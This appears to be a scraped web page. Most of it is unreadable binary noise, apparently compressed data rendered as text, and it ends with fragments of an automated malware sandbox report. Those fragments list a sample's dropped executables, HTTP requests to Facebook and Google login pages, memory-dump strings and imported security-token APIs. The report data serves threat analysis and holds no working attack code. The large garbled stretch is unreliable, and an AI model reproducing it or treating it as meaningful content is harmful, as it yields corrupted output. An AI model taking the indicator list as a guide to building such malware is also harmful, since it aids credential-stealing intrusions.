o-��<ݔ2�RxT��I�"��S��+�A�O��tIv��g��vd��A��AwT6�g4��t��f��U)��=�3q�{�/��I�#��>��Np1��~��ٻ&du�bNA;7qA��8l��I�;HVqkG�o�x��!7��ZV�oP^j=��Y>Ȃh�s<��3�붯��µq_�B';� �C;H9a4��IY�$�0��@ۻ�e8��pIXd�YP[�`��AD| Dg�.��|$.��-��§KGaҳ�!��{�Q�X+��ՍD~D��~{v��x6$�Ι�E�2�&eI�yx�`s7[�-��}D��\�<��aiF5HR�₃�ZZVM�诇��c�H�X��%O�Y /^��="R�D�]\��j��<�T�Ê�7��X�&�T��搋SQ��K"��6S��/@>kb}�qcLjDN��o �ny��j'��6j��(4MP3��e�5��@��L��+�Ju�vA��7��ݾ��Y��54�[ؾkh��4z"U VU��Cѭ�װ�{��:��G�-�k�Q�ў��A��@��4�K��F*��N�ٷ�=ם$�;f�8��g�]xu��a�x��|�qu��F풟�I��'L��4�XѶ_�;F��EP�>�V��+0�:��Ok0�ٝ~�`<�A��=s��^��s8��N��*k��'Z��9}ͷ��(�im�N�×��92�x{u(��eCG��$ю�p]�T�-��$�9��l �~]� ��Z,�A}��Rz��<�]P�-�*�|;��$N��g�L}�� eY��", "~��I�gKe�8��c�x�O[՛[Щ}{E��8��(��w�p��4��}�ԣ�H��n��"��cU�.�o��S��$7�n�Xv��*��E\��^�CC�<-�u{ם�-|��{�ʵѷ�g�2D��:[q��&N�X}�Y�>Q�&��_�}�ל�Nu�M��Ez�mn{�*�Ҫ.y4Z�3��sz��׷w��:�$"i�Ԇ��f��Q�Yt?��>��>� ��]>�L��SU��1zƕ�^[�w��<*v�FmD�9]�|��v�ڨ��c"L,��)��O¡]�\�V$��q��/� R��"1��n4EG�=C�y�fϪ|��<��P?6WaO�U58(��0ǏrE��qn�܊"�寰-�G�h�C�G��{��A/�]��I%N��w��)'C�-�\��ټ��ۇ|��Թ��s��u/�h�j��DI��=e�D��I��qT��!�/��-u��v�"N�Ua�;p@��^=hL/��"��U�j��O��!�S��"~��m߆z}1�' mcA��k�*��F�b�׆��$��C��V��5O��ݩ�*?��e讦|鈧M�y��/d�T^�$�)��/I��:�0�8��=��l��I�|�hH}�w|?��"vV��q�̸��5��"Y5aE�=�}>|~�Xp��kl��DE�!m��;�4`8`H��t�DғF6uh��uX�O�>hAL��%V�%}��l��l�i;"U�PΓoh6��A��no��{�iO:?�xK��5͗<�~��ml�\֜E^:�H!t6X�v��P��2>,O�i��E藔%4��p_�su�\�i�X�ӧi��sPT&�l��q�C��՟��ȱ`wZ��^��R~D�2�^�Ƅ��V�nˇ��LJ�7�F��vK;�k:q��4l�쵑^�C쾾�BuZFf5�-ԗ��f_y�5ӚZ��#Nl��=aU��ttP�ф��hGr��@�fw�䖃��(l��`�ѻQ��0�Z�1s�`�ǣZ�2+�K�7�E'l�1QV{��i��A��<�9x��x)��DL��K"׌�EL}#��t��j�{��x��\�g?��*�^�qt_�L��R��<��H+:Y3m��Ui��.�2�`�ڴ�ӻ:%��!��H�%��35�t��B��TiN��H��7��ѣ��c��4��h��T�Zʣ�Q�5��7��(��Q�}��ԣ&|R��'(�e��yD�F5{Dp�ژ�<_�>�+{��]^��`aH�2�Σ&� uځ��H��b p��N��w?]͎.��N�Ot�.�[D}j^��ͽl�#�A}R�PI5z�P�b8�7��:�4��hd��o�y$��zEķ;+�?<��>��7��p�~��#q��Tu��*��w�H:{��۳;'��w��~��_.N��{pO�?F��w�`�n�ΛM!�q��)�;h3tM^Q�0�8;�:�ܷ3��'��=?s�o��1xH�(nn�㇡ Q��Ę"�ϋ4*K�$�$�~/b�_߸��W��7}"�O��+Z�I�Ng�żV�,柳�J�Oě-{�Vc��M6��7��|qݛtΠ*�؇j��9�� ?��5&#e��G?܁�4�e�y��q��<��i�6�tc�t&�C�,�q��g��&9Ȩ�t0=�:UQ�Ǳ�t8!�{��C��ڂ_��C�SD��Mw\��!��ӱy�^N��!kb�!��2�L�eܗ��Ȩ8k&mY�kwFb��dK�eUa�K9�f3�w��Nɘd��6ǖc9:��,Ւ�'i�T�FA�gy�$�W��,��tf�c2~�s��o�Y�ܩ:2L��f��8��B�ݦU��A0^�֒��yO��!:N��,'ynS$V�Z��6˵k��!�m��:X��j��]R��lC~-��+$�`z��bA��.$U�0~��;�B!P8��2��p:��R)�D�΅b��<��non�(��_��s!�yEJ�'8�`rHU�w}J��)�G��)�f�_�ȮD�2�:��f�W�.�� %�\��B6��:/�E�)!��kl��I9�g�+}w\O��z�<(ͳ��R��ِ�,�#�JT��_J_�j�N�W#��G��w��f)4�H��u��j@FK*g�k��[��9��Wn�h�܍E�O�vER!�mLv��1��{��E�S��2b��;��U�kn��?�5γDȊ�z��a��A��tGE��.[�UQ7@�q��?��]�[�}1G�3�^UuDi��-��$��r��n�H�"1-��nw�zݛ�Һ;��%�*��r�+n��W" "f07��mT�󔽑��v��u=�^�?�H��8��?;�߿�.�f�!�`��;�_�cJ�t}�o��Q�ǔ��/HT[�gI$��s��F�j�H��.��,e��.��tMhH�ܘ�g�*Y�ק.�C��j\�鎴?��=J�}iw��Ū.��Ѐ�w��?>�Z�0�<�jL�ٲ�8��w�j,G�Q2��0F�^:4��OV?-�5cMU3��҉�\5�.bp��w��▗�6E��:b��)�Q�`a��A��5��9�z״F.b+�yE��iŠ��e��Y�^��ϡ�i�z��E��3Կ�K�]C�G�KO��w�;P49�Q!��kQ�;��_R ��ؔ1�w&��"�R�c��!��ywss�ܹ?��/��0ºo]1rY¹_!p�`7k��^��O��CF�_E�{ -5��R �lو��p$�9H��|�`��fx��4��ħ�sx��O�@DJ�R�L�Q�a�_�kMy-�9��rВ�ٶ1�ǖ=�6B�(��!:��V��%`��/m��á˒��W/,pQ!FAV�e�8�W5�Lv��Ƅ��"�v�@*g��0Q��=@A��`��D%��<��9�D�X��tCR�O:v�pRA�11��Ge(-r(cdu��b�Q�$��k��`� ΄8T[��2��̘��#�U��@Q�;�$O��l�n��A��9~⮌`�N��y��i�#GnA��U/X@��Vm5��?�dg�c��"�C��%�,�ѫb�.�:�_�9|T`��"7�!P�)ӹ/mz��mU�5��Ռ�Tkj�&��8G��k��]w��~_��`oM��B��H��Ц^K>h�&i�]��wW!3�&��f��G*vWcQ Sn�R����P4�P��t�oϲ_�Y�rJ��)�`��Η.�4.gl[�vb+`��&PkhJ!aI٪��U��ζ��M��Ƽ�9}T$�P��N�8U�v��g��CJ6�n��0�)�׬xH�C�R��3�ުjn��nEt��+�]}FxL6��-��p��P^BJ��*�wS�rZ��fk!��7=b��Ŗ@$Y��}��V�>�� M��f��~d-�`*&��F�@�7��`H��8�Q��zs��oc��簧y�9��_I�U��X�a[�~˗=^��S��U�5��%��0z)[-)kJ��,�\��ԋ�U�A��B@W��*��9�[�V�,��9B��|])��$d�LuQ6��P��x˴D�B�,�-�-xHOS�س�AV/(�%R��w�t��C@l-&��8D>��Hw��V�T �z�V�8�Jx��tU*eqM<��`�u��h'�3C`s�$�$��E�&�A51��[$֌��n��+f9��nw��Cܐ8BA�U�$.��6��]v�UO�6��NYMȜ� ^T�]A��21*Q��}i�+�>��DW�׹>C�u#Iu��>V�YR��A�R��ZJ�=�z.��{�1�y�"�J��n�h�[��fU��2��զ��j�*�L��d�es�y��{�R�� 6��*� +,��h@�E�ݗUPr�=|�^��c6g�S�q��" "hbYv��{��k�J^_S��>��ٵ*��^��Ch)!�сGP�R�f��Kg�8qh�2P��j�c�%��^q}��,��-��S�EwyV�=��s�5��w��7�D"<}u��B�u�5��7N皽�C�l.�k��%�*&��WA�F51Er��R�!��Am`��WG5�f��.�s"@�j��jaUi�)f�a(��)�ׅ�OaM��I�D�(�v,p;�ԅ`��z']��WDF�8'� qtY�ɉp:�S��6��!<-�� P�P��#t9�Ө�T��/~ʃPW��^��Z-b?\$X�iAQi�z�#1e��V��:��{j��&$C�QWi��M6(�$��l��]J��TK'�Ț�8�]-��f.�A��g~�J�q-^��'c�8�jf!��^Z@?�g��b!��եOv*�#w9�s*��y�=�(vT��8��Q�{9�<��[)�p-�XDd��\��A�3��{LI��x�Ml�<��cK��-��4BԖq5�J��j\Ά�q��M~�C��$iRa쀗�q$rxV�e��:%�!6��|-Y�Yd7��N}��N�}]F��<��s�_(;v�S�d�i��3�T��QYr��Z^��a8Z;R�h¾��WB�.C"M��\�_�e��Ƌ�X uS�t\TMQ�-�/�о򄦌E�ڻ)�!A�@��1�C%*-��E��bi"(i��!jz�v��R��B@�h�XX��a�P�)�S]3�]�i�g#.0�1�R�y �P@��/jLS/PH�@��!�8�"��*�+��Q`SC�Xi�(�*�3��XQL��hI��=p�tJ`kk��ce�V��@rJJ�+�؂C�ͺt#U�$7m�L��j��D�m�+-�:��4]!vE'kJ�Kշ��{�ۭ�"B��>��Hk4L��(�=�s7�=̡��-B��u��tq��*ӡ��!��nWA�L��z�Rh�KA��r��(��J�Y7hw��=z�~ݯ�� |��+��v�b;%� O�;"��Xw�U��Ģ5w�hX�I�&�ƽ8��M�=h[1ݫ�:m?1�Wj��wr��k@y��Nr4�׍�Fl{��NZ�c��h��p&AD��T��F*�_�gR�9t��UGX��Z��]�UIw��:[��o��b[��p�[*1��/E�3z�r�{�^5Iq��\�fZN�[�e�toQo)a)�uT�Y��6$o�$��!��+�F��kђJ��%٤�Ҁa!�8O|�TlW�!V/��V%�"D�.�B�.��BVj�a��K)4��70�*�J��E�iҥ4ֵ&�)��L�vm�i|mA�T�n�G�I�R��.װ�S"/eW�\wT��H��jZ�uRt$�v� �o��Xk5�[X��}�Ĳ�D�%�֟�@.�"�>�-�V�"�ܸ��m2ԹmJt�_�Q��[��d�b�!�j�dP&rNέ��IP�m�ӱdj.�RM��n��:��B2ڞ��#J}E�Z��-�}y�G΂�A��:pװD\��1Js��(�(�]��G�� -�Ԃ6�z�h�G�$�B|%��h��7��]�s��J&��bx�n�l�j��H�:4(l�U��$��B'�a��Z��#=h��J��K��BH]��r⻡aׄ<�+C3�,�Mi�T�?��&��@��`��am�*�G�1�b�ʃ��UL>8��ri��ߢ��Ҏ��\͙��4m�Ͷ�!��;q�9��^b�IRM�H�k��(c�9,��L]�:-�$��ү�WQ��-��1ފ�\"T��&3d�ѐ��U�љEm��.Y��T�4j�bWA[��y��.�!�{�׸��s��4�\U�f�ʸA��]j�{�<�d:_s�� x<_�#6��ry-�२kw��0�Ҏ>j��d.�OeP��Z"��߿��S�j$��A�؍��=��K�$w��iz1ɾ��U,g��c�6D��kzȖ�|�J�Bӵ�Q i�� *��[�n�3��/t��?P��D�k��v��a��Y�� y�'q!��!��x�7C��T��w{�rԟ��ȸ��*NB��j��/=��CM��c�Wd��Ӈ��)�utu`ǧo��R/=�L�)��/�9OϱPg�e��@�fGS�aͥ�SIN�l4��l�>X��K��Yf?�#B��k��%L�Ƌ�b:�Li�_Z*#8�Zh 'C9�4IR� Z�A��g3��\�y|zysMd��07�x�RF_��a��MԎ�o��QŻ�ɯ��̪3��VF�Zq��s��6��y��g��Y(�{�xN��X��q��I!pP�VF�׸�)�P�n�|Q�>�r��W�Rf`r�8fX�'-;J@�GfE�nO�VK�n��)0�g��A�r�PwW�ZЂg��K��ZP^qN ��{MųK��~͉�i��&V��M�%S�.��SD�V��t�V�X��x|"�z@v! ��E��6�E�S5\�WUe��}��9Δ��G釨k��'vO=�@�U��T}�yi1��j�&��ȱ~�>_G��O_�<��Ɗ0��/�͏ٯ��Y��E��(��t��r_8��m>3��WW��V��"�gw?]��n2�ux��[>�'��x��y��ǧ�� zGC��Ņ�/^��ϯ��Gv�ex�.�'Wo��?<{�s��[G_��]�G��2��n<��Ě/�+��G�7��O�7��x笋��p��]|}��l��~"W��Dy��y?�x]�g�Ƿ� Y�P�%<� c롭��+DA�B�=�ī!W��x5e5�_j2��\�CŪ��h�kt�)̳&+�C�-��9Sh�ŕ�*��JNFl��O6&z��I��DUJ�&פ��`��ɏ��IF�@Zr��%�x1��\��K7ĵ�)��%�@�X6�D-�d�L~d��:/�n/[4��,]�&�B%\��|�Y��Z5�!�0?z�>��R}�-zy]��o�i�b۔�3=��!ѯ㈅�<��8�g��%hѮ��w��?��_��X0��_�7Wo��7��|?̆l�6��Mx��bî2c�ͬ��n_ł$��Ʋ,Þ��2��Ԓe��C��f�p05��pb9�B,�`�C�``d[��+�+�5�KV�i��S��.��;u!��j��Ғo�RY�JKD��u��J��T�NhG#!�UR+�l�22�!'jV%�Z�,iA/��r�"t��Q��S�ݲ��#�qM�7�(7��C`��;��%�-{��S)�Ў>�[�6��!o��lV�j��3�C�ǰ�?�.�&��f��㋓�xD��k��%��|@w�.��'�,Uq��-�߁��ۖ�݉ɟI��]�M��.ϴ#͠�3��h<;ӞL��Ȁ`j3�Ka�d��1�&�a�>k:uF�c'��6gԚMwЍf�y�7��԰'�rL�pm��aMFS{42��⧸l��h��Z�$Z�YT��Y^+m��I2Y_��%��e�yS^Gr�[��*��PC��:�#��Ř�$��a�]nEݵ��r��&C�!%m儅^�6�qr͞�Q�,ˏ�`ݖ6fr!�`�}��ľ}�]v�uK��,�p[�9;�.K�̡��xQ��KB��\�>^��|�#�N��s��M��_��1!�d?��w덋g'�ʹv��v��ۊ��zYF�Ւ�o�8z��͑>6􉩏Ǻ9rt��m��G}�O��n�5�͉nuk�Ou��MK7m��T�Lݚ��D��A�D7GwF��ҝ�>�CSwƺ9�K��>�Mg�;C}8Շ�n:c}d룑n:�>�u�1��P7-�J:��ap��x�Ol�4��Mc�O'��i�өn�nc�1t��'#ݴ��mS�Z��ҧ#��d��n��n�h��mG�G�m鶡�C��DM��S}�h�3�#!��l�$�'�@V�$,�|�¬�Oo"~B�!5>�ӧTW��ͳ��B��e��7o�#(��V��L8#G��?��+=��_~��y��Ͽ>ܽg�\�=C/��z��9__�aZ��H�e��?<�j��,��兟��?}��]S��i��|M��ۤ�tޒ��w�aod��7!��MlM|�>g��y��w)��"60:T48b,Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/y1/r/ay1hV6OlegS.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL")61:T96c,GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.cn GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/GSyT1N4PBrg.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we2/64OUIVzpZV4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed 11 Feb 2026 14:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 24 Aug 2026 20:56:19 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Tue 07 Jul 2026 08:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/GSyT1N4PBrg.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 24 Aug 2026 19:47:03 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 24 Aug 2026 23:03:41 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog 62:T4ba,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEA59dSNcqDd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"63:T42d,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "gF3mD54.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "oi9NR71.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "ZF2zr63.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "Cb7yP98.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "1Nd23RF4.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "2pQ5650.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "3Cf23Ki.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "AppLaunch.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "4em853cx.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "5nB9ui9.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "explothe.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "6BL1kL7.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D00000 "iexplore.exe" loaded module "%WINDIR%\System32\samcli.dll" at 72D0000064:T6fb,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindNextFileW" with parameter 6BL1kL7.exe (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindNextFileW" with parameter gF3mD54.exe (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001380) "gF3mD54.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00001884) "gF3mD54.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001884) "gF3mD54.exe" called "FindNextFileW" with parameter 5nB9ui9.exe (UID: 00000000-00001884) "gF3mD54.exe" called "FindNextFileW" with parameter oi9NR71.exe (UID: 00000000-00001884) "gF3mD54.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00001884) "gF3mD54.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001884) "oi9NR71.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00004376) "oi9NR71.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004376) "oi9NR71.exe" called "FindNextFileW" with parameter 4em853cx.exe (UID: 00000000-00004376) "oi9NR71.exe" called "FindNextFileW" with parameter ZF2zr63.exe (UID: 00000000-00004376)65:T60e,Found string "FromBase64" (Indicator: "base64"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "base64str" (Indicator: "base64"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string "system.security.cryptography.x509certificates.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp")66:Tac6,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp") Found string "\Device\HarddiskVolume2\58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Indicator: "\Device\"; Source: "00000000-00001380.00000000.77865.00090000.00000004.mdmp, 00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001380.00000002.81294.00090000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP003.TMP\3Cf23Ki.exe" (Indicator: "\Device\"; Source: "00000000-00001520.00000000.79661.00320000.00000004.mdmp")67:T129c,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: gF3mD54.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: gF3mD54.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: gF3mD54.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: gF3mD54.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: gF3mD54.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 4em853cx.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: oi9NR71.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: oi9NR71.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: oi9NR71.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: oi9NR71.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: oi9NR71.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 3Cf23Ki.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: ZF2zr63.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: ZF2zr63.exe] Observed import api "FreeSid" which 